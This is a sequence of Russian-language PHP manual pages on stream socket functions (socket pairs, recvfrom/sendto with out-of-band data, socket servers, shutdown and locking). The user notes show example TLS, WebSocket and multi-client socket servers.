Just to avoid letting you search everywhere why your code doesn't work when using this function to enable crypto as a server, and when using TLS, you have to put the certificate in the "ssl" context, even if you start a TLS, SSLv3, etc.. server.

I had some troubles because of that...

   tigger (AT) tiggerswelt d0t net
   30-May-2007 03:15

As already mentioned above:

stream_socket_enable_crypto is likely to fail/return zero if the socket is in non-blocking mode.

You may either wait some seconds until all neccessary data has arrived or switch temporary to blocking mode:

<?PHP

  stream_set_blocking ($fd, true);

  stream_socket_enable_crypto ($fd, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);

  stream_set_blocking ($fd, false);

?>

This works very fine for me ;-)


Получить название локального или удалённого сокета

  • « stream_socket_enable_crypto
  • stream_socket_pair »
  • PHP Manual
  • Функции для работы с потоками
  • Получить название локального или удалённого сокета

stream_socket_get_name

(PHP 5, PHP 7, PHP 8)

stream_socket_get_name — Получить название локального или удалённого сокета

Описание

stream_socket_get_name(resource $socket, bool $remote): string|false

Возвращает локальное или удалённое название указанного сокетного соединения.

Список параметров

socket

Сокет, название которого нужно получить.

remote

Если установлено в true, то будет возвращено удалённое название сокета, если установлено в false, то будет возвращено локальное название.

Возвращаемые значения

Название сокета или false в случае возникновения ошибки.

Смотрите также

  • stream_socket_accept() - Принимать соединение в сокете, созданном c помощью функции stream_socket_server

User Contributed Notes

recycling dot sp dot am at gmail dot com 10-Sep-2010 08:29
Surprisingly, on my Linux system, when connected to a localhost service using IPV4, stream_get_socket_name returns ::1 as the peer or local address. One would expect to get localhost or 127.0.0.1 but the ::1 IPV6 localhost is returned instead.


Создаёт пару подключённых, неразличимых потоков сокетов

  • « stream_socket_get_name
  • stream_socket_recvfrom »
  • PHP Manual
  • Функции для работы с потоками
  • Создаёт пару подключённых, неразличимых потоков сокетов

stream_socket_pair

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_socket_pair — Создаёт пару подключённых, неразличимых потоков сокетов

Описание

stream_socket_pair(int $domain, int $type, int $protocol): array|false

stream_socket_pair() создаёт пару подключённых, неразличимых потоков сокетов. Эта функция обычно используется в IPC (межпроцессном взаимодействии).

Список параметров

domain

Используемое семейство протоколов: STREAM_PF_INET, STREAM_PF_INET6 или STREAM_PF_UNIX

type

Используемый тип взаимодействия: STREAM_SOCK_DGRAM, STREAM_SOCK_RAW, STREAM_SOCK_RDM, STREAM_SOCK_SEQPACKET или STREAM_SOCK_STREAM

protocol

Используемый протокол: STREAM_IPPROTO_ICMP, STREAM_IPPROTO_IP, STREAM_IPPROTO_RAW, STREAM_IPPROTO_TCP or STREAM_IPPROTO_UDP

Замечание: Пожалуйста, обратитесь к разделу Список потоковых констант за подробной информацией по каждой константе.

Возвращаемые значения

Возвращает массив (array) с двумя потоковыми ресурсами в случае успешного выполнения, или false в случае неудачи.

Примеры

Пример #1 Пример использования stream_socket_pair()

Этот пример демонстрирует основы использования функции stream_socket_pair() в межпроцессном взаимодействии.

<?php

$sockets = stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
$pid = pcntl_fork();

if ($pid == -1) {
die('не удалось создать процесс');

} else if ($pid) {
/* родительский процесс */
fclose($sockets[0]);

fwrite($sockets[1], "дочерний PID: $pid\n");
echo fgets($sockets[1]);

fclose($sockets[1]);

} else {
/* дочерний процесс */
fclose($sockets[1]);

fwrite($sockets[0], "сообщение от дочернего процесса\n");
echo fgets($sockets[0]);

fclose($sockets[0]);
}

?>

Результатом выполнения данного примера будет что-то подобное:

дочерний PID: 1378
сообщение от дочернего процесса

User Contributed Notes

There are no user contributed notes for this page.


Получает данные из сокета, подключённого или нет

  • « stream_socket_pair
  • stream_socket_sendto »
  • PHP Manual
  • Функции для работы с потоками
  • Получает данные из сокета, подключённого или нет

stream_socket_recvfrom

(PHP 5, PHP 7, PHP 8)

stream_socket_recvfrom — Получает данные из сокета, подключённого или нет

Описание

stream_socket_recvfrom(
resource $socket,
int $length,
int $flags = 0,
?string &$address = null
): string|false

stream_socket_recvfrom() принимает данные из удалённого сокета размером до length байт.

Список параметров

socket

Удалённый сокет.

length

Количество байт для получения из параметра socket.

flags

Значение параметра flags может быть любой комбинацией из следующего:

Возможные значения для параметра flags
STREAM_OOB | Обрабатывать данные OOB (out-of-band).
STREAM_PEEK | Получать данные из сокета, но не расходовать буфер. Последующие вызовы функций fread() или stream_socket_recvfrom() получат те же самые данные.

address

Если указан параметр address, он будет заполнен адресом удалённого сокета.

Возвращаемые значения

Возвращает прочитанные данные в виде строки или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования функции stream_socket_recvfrom()

<?php
/* Открывает серверный сокет на 1234-м порту на localhost */
$server = stream_socket_server('tcp://127.0.0.1:1234');

/* Принимает соединение */
$socket = stream_socket_accept($server);

/* Получает пакет (обычный размер MTU 1500) OOB-данных */
echo "Получены данные OOB (Out-Of-Band): '" . stream_socket_recvfrom($socket, 1500, STREAM_OOB) . "'\n";

/* Получить обычные данные, но не расходовать их. */
echo "Данные: '" . stream_socket_recvfrom($socket, 1500, STREAM_PEEK) . "'\n";

/* Получить тот же самый пакет снова, но в этот раз удалить его из буфера данных. */
echo "Данные: '" . stream_socket_recvfrom($socket, 1500) . "'\n";

/* Закрыть сокет */
fclose($socket);
fclose($server);
?>

Примечания

Замечание:

Если получено сообщение длиной больше, чем параметр length, лишние байты могут быть пропущены в зависимости от типа сокета, из которого получено сообщение (такого, как UDP).

Замечание:

Вызовы функции stream_socket_recvfrom() на потоках, основанных на сокетах, после вызовов потоковых функций, основанных на буферах (таких как fread() или stream_get_line()) читают данные непосредственно из сокета и пропускают потоковый буфер.

Смотрите также

  • stream_socket_sendto() - Отправляет сообщение в сокет, независимо от того, подсоединён он или нет
  • stream_socket_client() - Открыть соединение с интернет-сокетом или с доменным сокетом Unix
  • stream_socket_server() - Создаёт интернет-сокет или доменный сокет Unix

User Contributed Notes

raat1979 at gmail dot com 07-Jul-2015 08:30
Basically there is currently no real way to determine what the position of the Out of band data is in the tcp/ip stream.

However, it seems that In my current environment (winsock: Windows / PHP 5.3.0) you do not peek beyond the OOB byte unless the buffer is empty
reads do read beyond the OOB data. (I'll check my linux box later)

You should be able to figure out the position of the OOB data by peeking and reading from the regular stream
although it would not be 100% reliable as we do read beyond the OOB data when nothing is in front of it.
depending on the high level protocol it might be possible
to handle the specific "no data in front of out-of-band data" case

<?php
echo "<pre>";
$sockets = stream_socket_pair(STREAM_PF_INET, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
$reader=$sockets[0];
$writer=$sockets[1];

stream_socket_sendto($writer,"abc");
stream_socket_sendto($writer,"xyZ",STREAM_OOB); // ONLY THE LAST BYTE IS MARKED AS OOB DATA
stream_socket_sendto($writer,"def");

echo "\r\n";
echo "Test 1, Peeking beyond oob when the read buffer becomes empty\r\n";
echo "The data order is 'abcxyZdef'\r\n";
stream_select($r=array($reader), $w=array(), $x=array($reader),5);
echo "has regular:";var_dump(count($r)!==0);
echo "has oobData:";var_dump(count($x)!==0);
echo "<span style='color:blue' >Peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";
echo "<span style='color:green'>Peek (1) OobData:".stream_socket_recvfrom($reader,9,STREAM_OOB|STREAM_PEEK)."</span>\r\n";
echo "<span style='color:black'>READ (4) regular:".stream_socket_recvfrom($reader,4)."</span>\r\n";
echo "<span style='color:blue' >Peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";
echo "<span style='color:black'>READ (1) regular:".stream_socket_recvfrom($reader,1)."</span>\r\n";
echo "<span style='color:blue' >Peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";
// read the OOB data
echo "<span style='color:red'  >READ (9) OobData:".stream_socket_recvfrom($reader,9,STREAM_OOB)."</span>\r\n";

echo "<span style='color:blue' >Peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";

fclose($sockets[0]);
fclose($sockets[1]);
echo "</pre>";
?>
outputs:
Test 1, Peeking beyond oob when the read buffer becomes empty
The data order is 'abcxyZdef'
has regular:bool(true)
has oobData:bool(true)
Peek (9) regular:abcxy
Peek (1) OobData:Z
READ (4) regular:abcx
Peek (9) regular:y
READ (1) regular:y
Peek (9) regular:def
READ (9) OobData:Z
Peek (9) regular:def

<?php
echo "<pre>";
$sockets = stream_socket_pair(STREAM_PF_INET, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
$reader=$sockets[0];
$writer=$sockets[1];

stream_socket_sendto($writer,"Z",STREAM_OOB); // ONLY THE LAST BYTE IS MARKED AS OOB DATA
stream_socket_sendto($writer,"abcxydef");

echo "<hr/>";
echo "\r\n";
echo "Test 2, peek if there is nothing in front of the OOB data\r\n";
echo "The data order is 'Zabcxydef'\r\n";
stream_select($r=array($reader), $w=array(), $x=array($reader),5);
echo "has regular:";var_dump(count($r)!==0);
echo "has oobData:";var_dump(count($x)!==0);
echo "<span style='color:blue'>peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";
echo "<span style='color:red' >Peek (9) OobData:".stream_socket_recvfrom($reader,9,STREAM_OOB)."</span>\r\n";
echo "<span style='color:blue'>peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";
echo "</pre>";
?>
Outputs:
Test 2, peek if there is nothing in front of the OOB data
The data order is 'Zabcxydef'
has regular:bool(true)
has oobData:bool(true)
peek (9) regular:abcxydef
Peek (9) OobData:Z
peek (9) regular:abcxydef
MagicalTux at php dot net 15-Feb-2011 11:13
This method may return a peer address not compatible with stream_socket_sendto() if in ipv6.

The ip returned by recvfrom is not within brackets ([]), and has the port appended, which makes it look like ::1:1234. To cut it properly, use strrpos()
cweiske at php dot net 28-Feb-2010 05:42
Note that stream_socket_recvfrom() bypasses stream wrappers including TLS/SSL. While reading from an encrypted stream with fread() will return decrypted data, using stream_socket_recvfrom() will give you the original encrypted bytes.


Отправляет сообщение в сокет, независимо от того, подсоединён он или нет

  • « stream_socket_recvfrom
  • stream_socket_server »
  • PHP Manual
  • Функции для работы с потоками
  • Отправляет сообщение в сокет, независимо от того, подсоединён он или нет

stream_socket_sendto

(PHP 5, PHP 7, PHP 8)

stream_socket_sendto — Отправляет сообщение в сокет, независимо от того, подсоединён он или нет

Описание

stream_socket_sendto(
resource $socket,
string $data,
int $flags = 0,
string $address = ""
): int|false

Отправляет указанные данные data через сокет socket.

Список параметров

socket

Сокет для отправки данных data.

data

Отправляемые данные.

flags

Значение параметра flags может быть любой из следующих комбинаций:

возможные значения для параметра flags
STREAM_OOB Обрабатывать OOB (out-of-band, внеполосные) данные.

address

Адрес, указанный при создании потокового сокета, будет использоваться до тех пор, пока не указан альтернативный адрес в параметре address.

Если указан, он должен быть в формате ipv4 или ipv6.

Возвращаемые значения

Возвращает код результата, как целое число или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования stream_socket_sendto()

<?php
/* Открыть сокет на 1234-м порту на localhost */
$socket = stream_socket_client('tcp://127.0.0.1:1234');

/* Отправить обычные данные через обычные каналы. */
fwrite($socket, "Передача обычных данных.");

/* Отправляем внеполосные данные. */
stream_socket_sendto($socket, "Внеполосные данные.", STREAM_OOB);

/* Закрыть сокет */
fclose($socket);
?>

Смотрите также

  • stream_socket_recvfrom() - Получает данные из сокета, подключённого или нет
  • stream_socket_client() - Открыть соединение с интернет-сокетом или с доменным сокетом Unix
  • stream_socket_server() - Создаёт интернет-сокет или доменный сокет Unix

User Contributed Notes

mrforsythexeter at googlemail dot com 10-Jul-2013 04:07
The return appears to be the size in bytes of the data written to the socket, or -1 on failure (this could be because of non blocking)


Создаёт интернет-сокет или доменный сокет Unix

  • « stream_socket_sendto
  • stream_socket_shutdown »
  • PHP Manual
  • Функции для работы с потоками
  • Создаёт интернет-сокет или доменный сокет Unix

stream_socket_server

(PHP 5, PHP 7, PHP 8)

stream_socket_server — Создаёт интернет-сокет или доменный сокет Unix

Описание

stream_socket_server(
string $address,
int &$error_code = null,
string &$error_message = null,
int $flags = STREAM_SERVER_BIND | STREAM_SERVER_LISTEN,
?resource $context = null
): resource|false

Создаёт сокет потока или датаграммы на указанном address.

Эта функция только создаёт сокет. Чтобы начать принимать соединения используйте stream_socket_accept().

Список параметров

address

Тип создаваемого сокета определяется по транспорту, указанному с использованием стандартного форматирования URL: transport://target.

Для доменных сокетов интернета (AF_INET), таких как TCP и UDP, часть target параметра remote_socket должна состоять из имени хоста или IP-адреса с последующим двоеточием и номера порта. Для доменных сокетов Unix часть target должна указывать на файл сокета в файловой системе.

В зависимости от окружения, доменные сокеты Unix могут быть недоступны. Список доступных транспортов может быть получен при помощи функции stream_get_transports(). Смотрите Список поддерживаемых транспортных протоколов для списка встроенных транспортов.

error_code

Если необязательные аргументы error_code и error_message присутствуют, то они будут установлены для указания действительного уровня системной ошибки, которая происходит при системных вызовах socket(), bind() и listen(). Если значение, возвращаемое в error_code, равно 0 и функция возвратила false, это означает, что ошибка произошла до вызова bind(). Скорее всего это произошло из-за проблемы инициализации сокета. Примите во внимание, что аргументы error_code и error_message должны всегда передаваться по ссылке.

error_message

Смотрите описание параметра error_code.

flags

Битовая маска, которая может быть установлена в любую комбинацию флагов для создания сокета.

Замечание:

Для UDP-сокетов вы должны использовать STREAM_SERVER_BIND в качестве параметра flags.

context

Возвращаемые значения

Возвращает созданный поток или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Параметр context теперь допускает значение null.

Примеры

Пример #1 Пример использования серверных сокетов TCP

<?php
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr);
if (!$socket) {
echo "$errstr ($errno)<br />\n";
} else {
while ($conn = stream_socket_accept($socket)) {
fwrite($conn, 'Локальное время ' . date('n/j/Y g:i a') . "\n");
fclose($conn);
}
fclose($socket);
}
?>

Пример ниже показывает, как работать в качестве сервера времени, который может отвечать на запросы времени, как показано в примере функции stream_socket_client().

Замечание: Большинство систем требуют доступа с правами root для создания серверного сокета на порту ниже, чем 1024.

Пример #2 Пример использования серверных сокетов UDP

<?php
$socket = stream_socket_server("udp://127.0.0.1:1113", $errno, $errstr, STREAM_SERVER_BIND);
if (!$socket) {
die("$errstr ($errno)");
}

do {
$pkt = stream_socket_recvfrom($socket, 1, 0, $peer);
echo "$peer\n";
stream_socket_sendto($socket, date("D M j H:i:s Y\r\n"), 0, $peer);
} while ($pkt !== false);

?>

Примечания

Замечание: При указании числового адреса IPv6 (например, fe80::1) вы должны заключать его в квадратные скобки. Например, tcp://[fe80::1]:80.

Смотрите также

  • stream_socket_client() - Открыть соединение с интернет-сокетом или с доменным сокетом Unix
  • stream_set_blocking() - Установить блокирующий/неблокирующий режим в потоке
  • stream_set_timeout() - Установить значение времени ожидания для потока
  • fgets() - Читает строку из файла
  • fgetss() - Читает строку из файла и удаляет HTML-теги
  • fwrite() - Бинарно-безопасная запись в файл
  • fclose() - Закрывает открытый дескриптор файла
  • feof() - Проверяет, достигнут ли конец файла
  • Модуль curl

User Contributed Notes

Heretic86 at roadrunner dot com 25-Nov-2020 07:27
This is an example of how to set up stream_socket_server to connect with multiple Secure Websockets on WSS (wss://) that uses SSL / TLS as a Transport.

This runs on a Windows Apache Server with a registered domain and SSL Cert from LetsEncrypt via Certbot.

Run this script from a console "php server.php", and javascript html as a client with:
socket = new WebSocket('wss://php.net:1234');

<?php
$host = '192.168.1.2';
$port = 1234;
$path = 'C:/Certbot/live/php.net/';
$transport = 'tlsv1.3';
$ssl = ['ssl' => [
          'local_cert'  => $path . 'cert.pem',       // SSL Certificate
          'local_pk'    => $path . 'privkey.pem',    // SSL Keyfile
          'disable_compression' => true,             // TLS compression attack vulnerability
          'verify_peer'         => false,            // Set this to true if acting as an SSL client
          'ssltransport' => $transport,              // Transport Methods such as 'tlsv1.1', tlsv1.2'
        ] ];
$ssl_context = stream_context_create($ssl);
$server = stream_socket_server($transport . '://' . $host . ':' . $port, $errno, $errstr, STREAM_SERVER_BIND|STREAM_SERVER_LISTEN, $ssl_context);
if (!$server) {  die("$errstr ($errno)"); }
$clients = array($server);
$write  = NULL;
$except = NULL;
while (true) {
  $changed = $clients;
  stream_select($changed, $write, $except, 10);
  if (in_array($server, $changed)) {
    $client = @stream_socket_accept($server);
    if (!$client){ continue; }
    $clients[] = $client;
    $ip = stream_socket_get_name( $client, true );
    echo "New Client connected from $ip\n";

    stream_set_blocking($client, true);
    $headers = fread($client, 1500);
    handshake($client, $headers, $host, $port);
    stream_set_blocking($client, false);

    send_message($clients, mask($ip . ' connected'));
    $found_socket = array_search($server, $changed);
    unset($changed[$found_socket]);
  }
  foreach ($changed as $changed_socket) {
    $ip = stream_socket_get_name( $changed_socket, true );
    $buffer = stream_get_contents($changed_socket);
        if ($buffer == false) {
      echo "Client Disconnected from $ip\n";
      @fclose($changed_socket);
            $found_socket = array_search($changed_socket, $clients);
            unset($clients[$found_socket]);
        }
    $unmasked = unmask($buffer);
    if ($unmasked != "") { echo "\nReceived a Message from $ip:\n\"$unmasked\" \n"; }
    $response = mask($unmasked);
    send_message($clients, $response);
  }
}
fclose($server);

function unmask($text) {
    $length = @ord($text[1]) & 127;
    if($length == 126) {    $masks = substr($text, 4, 4);    $data = substr($text, 8); }
    elseif($length == 127) {    $masks = substr($text, 10, 4); $data = substr($text, 14); }
    else { $masks = substr($text, 2, 4); $data = substr($text, 6); }
    $text = "";
    for ($i = 0; $i < strlen($data); ++$i) { $text .= $data[$i] ^ $masks[$i % 4];    }
    return $text;
}
function mask($text) {
    $b1 = 0x80 | (0x1 & 0x0f);
    $length = strlen($text);
    if($length <= 125)
        $header = pack('CC', $b1, $length);
    elseif($length > 125 && $length < 65536)
        $header = pack('CCn', $b1, 126, $length);
    elseif($length >= 65536)
        $header = pack('CCNN', $b1, 127, $length);
    return $header.$text;
}
function handshake($client, $rcvd, $host, $port){
    $headers = array();
    $lines = preg_split("/\r\n/", $rcvd);
    foreach($lines as $line)
    {
        $line = rtrim($line);
        if(preg_match('/\A(\S+): (.*)\z/', $line, $matches)){
            $headers[$matches[1]] = $matches[2];
        }
    }
    $secKey = $headers['Sec-WebSocket-Key'];
    $secAccept = base64_encode(pack('H*', sha1($secKey . '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')));
    //hand shaking header
    $upgrade  = "HTTP/1.1 101 Web Socket Protocol Handshake\r\n" .
    "Upgrade: websocket\r\n" .
    "Connection: Upgrade\r\n" .
    "WebSocket-Origin: $host\r\n" .
    "WebSocket-Location: wss://$host:$port\r\n".
    "Sec-WebSocket-Version: 13\r\n" .
    "Sec-WebSocket-Accept:$secAccept\r\n\r\n";
  fwrite($client, $upgrade);
}
function send_message($clients, $msg){
    foreach($clients as $changed_socket){
    @fwrite($changed_socket, $msg);
    }
}
?>
Anonymous 19-Jun-2019 11:10
Some examples of socket server uses address 127.0.0.1 as below:

stream_socket_server("tcp://127.0.0.1:5353", $errno, $errorMessage);

While it works for localhost testing, when connecting to the socket server via external element, the IP should be "0.0.0.0" as below:

stream_socket_server("tcp://0.0.0.0:5353", $errno, $errorMessage);

root@server:~# netstat -anp | grep 5353
tcp        0      0 0.0.0.0:5353           0.0.0.0:*               LISTEN      26353/php
blackmac01 at gmail dot com 03-Dec-2015 01:35
I'm writing an HTTP server and I need SSL support, but getting this to work correctly with PHP streams took a bit of trial and error. For anyone who is trying to get an HTTP SSL server working with stream_socket_server:

1) Your SSL context will need to contain 'local_cert'. If  you did not include your private key with your local_cert, you'll also need to specify 'local_pk' which is your RSA key.  Your keys and certs should be PEM encoded, which means base-64. If your certificate has intermediary certs, you will need to specify those in the correct order: Your signed cert, intermediary cert 1, intermediary cert 2, etc. Each cert in the list needs to validate the one above it, but you do not need to include the CA Root that your SSL signer provided; that should already be included with the client's software (i.e. trust root certs).

You can append your private key in the file with your certs, however I keep mine in its own file. If you see the word "encrypted" when you view your key with a text viewer, you need to enter the correct passphrase and specify the context "passphrase", otherwise you can leave that one out.

As a server, verify_peer is irrelevant and should be set to false (should always be true if you are acting as an SSL client). Both cafile and capath contexts are not needed for functioning as a SSL/TLS server, but they are needed if you are making SSL connections with PHP as the client.

Lastly, the 'ciphers' context should be set to a list of secure ciphers. Search for "mozilla recommended ciphers" and choose the string of ciphers that works for you, because not all openssl supported ciphers are secure. I went with the "intermediate" list, which provides high security and compatibility.

2) When you create the binding for stream_socket_server(), make sure that you choose the tcp:// wrapper. DO NOT USE ssl:// or tls://. Anything other than tcp:// will not work correctly AS A SERVER, those transports are what you use when making connections with PHP as a client.

Remember that the encryption does not start until after an SSL handshake completes, so the server has to listen in non-encrypted mode for new connections, and encryption doesn't start until certs are exchanged and a cipher is selected. When a new connection arrives you accept it with stream_socket_accept() and then use stream_socket_enable_crypto() to start the SSL session.

3) Keep in mind that the SSL handshake takes time, and that the stream_socket wrappers are high level and not as responsive as the socket extension due to the additional overhead they incur. For this reason you will need to enable blocking for accepting new connections.

<enable blocking on ServerListenStream>
newConnStream = stream_socket_accept(ServerListenStream);
<disable blocking on ServerListenStream>

<enable blocking on newConnStream >
stream_socket_enable_crypto(newConnStream, true, STREAM_CRYPTO_METHOD_SSLv23_SERVER);
<disable blocking on newConnStream >

Note that this is mainly for HTTP. If you are trying to do something like SMTP then your script will have to react to the "starttls" command, but it would be similar to the above except that you would wait for the "starttls" command before invoking the  stream_socket_enable_crypto() function on the client's stream.

TLS 1.0 is generally the way to go, SSLv3 is insecure and SSLv2 is buggy. If you use the mozilla recommend cipher list in your context, you'll be fine. Hope this helps someone out!
Aurelien Marchand 11-Mar-2011 11:54
In the case of AF_UNIX sockets, note the named sockets that will be created respects your umask(). So if you wanted your named socket to be writeable to all, do umask(0) prior to calling stream_socket_server().

AM
frxstrem 26-Jun-2010 10:18
Using the OpenSSL extension, PHP can automatically generate self-signed SSL certificates, which can be used for basic authentication and encryption (although I would recommend to use a signed certificate instead) for SSL servers.

I have extended the script by 'e at osterman dot com' to automatically create self-signed certificates:

<?php
// Hello World! SSL HTTP Server.
// Tested on PHP 5.1.2-1+b1 (cli) (built: Mar 20 2006 04:17:24)

// Certificate data:
$dn = array(
    "countryName" => "UK",
    "stateOrProvinceName" => "Somerset",
    "localityName" => "Glastonbury",
    "organizationName" => "The Brain Room Limited",
    "organizationalUnitName" => "PHP Documentation Team",
    "commonName" => "Wez Furlong",
    "emailAddress" => "wez@example.com"
);

// Generate certificate
$privkey = openssl_pkey_new();
$cert    = openssl_csr_new($dn, $privkey);
$cert    = openssl_csr_sign($cert, null, $privkey, 365);

// Generate PEM file
# Optionally change the passphrase from 'comet' to whatever you want, or leave it empty for no passphrase
$pem_passphrase = 'comet';
$pem = array();
openssl_x509_export($cert, $pem[0]);
openssl_pkey_export($privkey, $pem[1], $pem_passphrase);
$pem = implode($pem);

// Save PEM file
$pemfile = './server.pem';
file_put_contents($pemfile, $pem);

$context = stream_context_create();

// local_cert must be in PEM format
stream_context_set_option($context, 'ssl', 'local_cert', $pemfile);
// Pass Phrase (password) of private key
stream_context_set_option($context, 'ssl', 'passphrase', $pem_passphrase);

stream_context_set_option($context, 'ssl', 'allow_self_signed', true);
stream_context_set_option($context, 'ssl', 'verify_peer', false);

// Create the server socket
$server = stream_socket_server('ssl://0.0.0.0:9001', $errno, $errstr, STREAM_SERVER_BIND|STREAM_SERVER_LISTEN, $context);

while(true)
{
    $buffer = '';
    print "waiting...";
    $client = stream_socket_accept($server);
    print "accepted " . stream_socket_get_name( $client, true) . "\n";
    if( $client )
    {
        // Read until double CRLF
        while( !preg_match('/\r?\n\r?\n/', $buffer) )
            $buffer .= fread($client, 2046);
        // Respond to client
        fwrite($client,  "200 OK HTTP/1.1\r\n"
                         . "Connection: close\r\n"
                         . "Content-Type: text/html\r\n"
                         . "\r\n"
                         . "Hello World! " . microtime(true)
                         . "<pre>{$buffer}</pre>");
        fclose($client);
    } else {
        print "error.\n";
    }
}

?>
peterjb at me dot com 02-Jan-2010 03:48
I had a horrible time trying to shove a TLS socket into an existing TCP program.  It appears to me that functions like stream_socket_recvfrom and stream_socket_sendto don't work with TLS/SSL (which may be obvious to PHP gurus...sorry if it is, I'm in a bit over my head here).

In the end I ended up doing all my IO with fread() and fwrite(), which solved all my problems.
davidm at marketo dot com 22-Nov-2009 04:15
In some specialized scenarios, you may want to create an AF_INET socket (UDP or TCP) but let the system select an unused port for you.  This is a standard feature of internet sockets but it doesn't seem to be documented how to do this for the stream_socket_server function.  It appears you can get this behavior by selecting zero for the port number, for example, my test below printed "127.0.0.1:4960".

<?php
  $sock = stream_socket_server("udp://127.0.0.1:0");
  $name = stream_socket_get_name($sock);
  echo $name;
?>
Julien Picalausa 24-May-2009 01:27
You may have noticed that, unlike socket_listen, stream_socket_server doesn't have a backlog parameter. From the source code of php 5.2.9, it looks like the backlog parameter to the actual listen call is hardcoded to be 5. If this value doesn't suit your needs, you'll have to use the lower-level socket functions.
Neil Munro 05-Jul-2006 01:26
If you want a high speed socket server, use the low-level sockets instead (socket_create/bind/listen). The stream_socket_server version appears to have internal fixed 8k buffers that will overflow if you don't keep up by reading.

This is a serious problem if you an application that reads the socket for messages and then, say, saves the result in a database. The delay while it is busy processing means you can't read the data in time unless you get involved in muti-threading.

With the the low-level functions, the OS quietly buffers TCP/IP packets so there is no problem (tested on Windows XP Professional).
andrey at php dot net 07-Aug-2004 09:02
Just a small example how to use this function and also stream_select() to make a server that accepts more than one connections (can have many clients connected):
In master we hold all opened connections. Just before calling stream select we copy the array to $read and then pass it ot stream_select(). In case that we may read from at least one socket, $read will contain socket descriptors. $master is needed not to lose references to the opened connections we have.
stream_server.php :
<?php

$master = array();
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr);
if (!$socket) {
    echo "$errstr ($errno)<br />\n";
} else {
    $master[] = $socket;
    $read = $master;
    while (1) {
        $read = $master;
        $mod_fd = stream_select($read, $_w = NULL, $_e = NULL, 5);
        if ($mod_fd === FALSE) {
            break;
        }
        for ($i = 0; $i < $mod_fd; ++$i) {
            if ($read[$i] === $socket) {
                $conn = stream_socket_accept($socket);
                fwrite($conn, "Hello! The time is ".date("n/j/Y g:i a")."\n");
                $master[] = $conn;
            } else {
                $sock_data = fread($read[$i], 1024);
                var_dump($sock_data);
                if (strlen($sock_data) === 0) { // connection closed
                    $key_to_del = array_search($read[$i], $master, TRUE);
                    fclose($read[$i]);
                    unset($master[$key_to_del]);
                } else if ($sock_data === FALSE) {
                    echo "Something bad happened";
                    $key_to_del = array_search($read[$i], $master, TRUE);
                    unset($master[$key_to_del]);
                } else {
                    echo "The client has sent :"; var_dump($sock_data);
                    fwrite($read[$i], "You have sent :[".$sock_data."]\n");
                    fclose($read[$i]);
                     unset($master[array_search($read[$i], $master)]);
                }
            }
        }
    }
}
?>
stream_client.php:
<?php
$fp = stream_socket_client("tcp://127.0.0.1:8000", $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "Aloha");
    while (!feof($fp)) {
        var_dump(fgets($fp, 1024));
    }
    fclose($fp);
}
?>

Thanks


Закрыть полнодуплексное соединение

  • « stream_socket_server
  • stream_supports_lock »
  • PHP Manual
  • Функции для работы с потоками
  • Закрыть полнодуплексное соединение

stream_socket_shutdown

(PHP 5 >= 5.2.1, PHP 7, PHP 8)

stream_socket_shutdown — Закрыть полнодуплексное соединение

Описание

stream_socket_shutdown(resource $stream, int $mode): bool

Закрывает (частично или нет) полнодуплексное соединение.

Замечание:

Ассоциированные буферы, или буферы, могут быть закрыты, а могут и нет.

Список параметров

stream

Открытый поток (например, открытый при помощи функции stream_socket_client())

mode

Одна из следующих констант: STREAM_SHUT_RD (отключает последующее получение данных), STREAM_SHUT_WR (отключает последующую передачу данных) или STREAM_SHUT_RDWR (отключает последующие получение и передачу данных).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования stream_socket_shutdown()

<?php

$server = stream_socket_server('tcp://127.0.0.1:1337');
$client = stream_socket_client('tcp://127.0.0.1:1337');

var_dump(fputs($client, "привет"));

stream_socket_shutdown($client, STREAM_SHUT_WR);
var_dump(fputs($client, "привет")); // не работает сейчас

?>

Результатом выполнения данного примера будет что-то подобное:

int(5)

Notice: fputs(): send of 6 bytes failed with errno=32 Broken pipe in test.php on line 9
int(0)

Смотрите также

  • fclose() - Закрывает открытый дескриптор файла

User Contributed Notes

Anonymous 02-Aug-2021 01:22
As Daniel J has pointed out, stream_socket_shutdown doesn't send the TLS close_notify message. In some instances, it's a preferred function over fclose (to trigger stream_select, for example).

To use this function correctly with TLS, use stream_socket_enable_crypto($fp, false); before shutting down the socket.
Daniel J 06-Jan-2021 07:59
Be wary of using stream_socket_shutdown with a TLS socket. The socket is closed without sending the "close_notify" message required by TLS protocol.

To correctly close a TLS socket, use fclose() instead, which internally calls OpenSSL's SSL_shutdown() function.
jgotti 07-Sep-2012 06:22
Just a note to say that if you encounter problem closing some sockets using fclose in a multi client server, you should really  give this one a try.

Spent a full day trying to resolve this issue using stream_socket_shutdown($clientStream,STREAM_SHUT_RDWR);
finally do the trick.


Определяет, поддерживает ли поток блокировку

  • « stream_socket_shutdown
  • stream_wrapper_register »
  • PHP Manual
  • Функции для работы с потоками
  • Определяет, поддерживает ли поток блокировку

stream_supports_lock

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

stream_supports_lock — Определяет, поддерживает ли поток блокировку

Описание

stream_supports_lock(resource $stream): bool

Определяет, поддерживает ли поток блокировку с использованием flock().

Список параметров

stream

Поток для проверки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • flock() - Портируемая консультативная блокировка файлов

User Contributed Notes

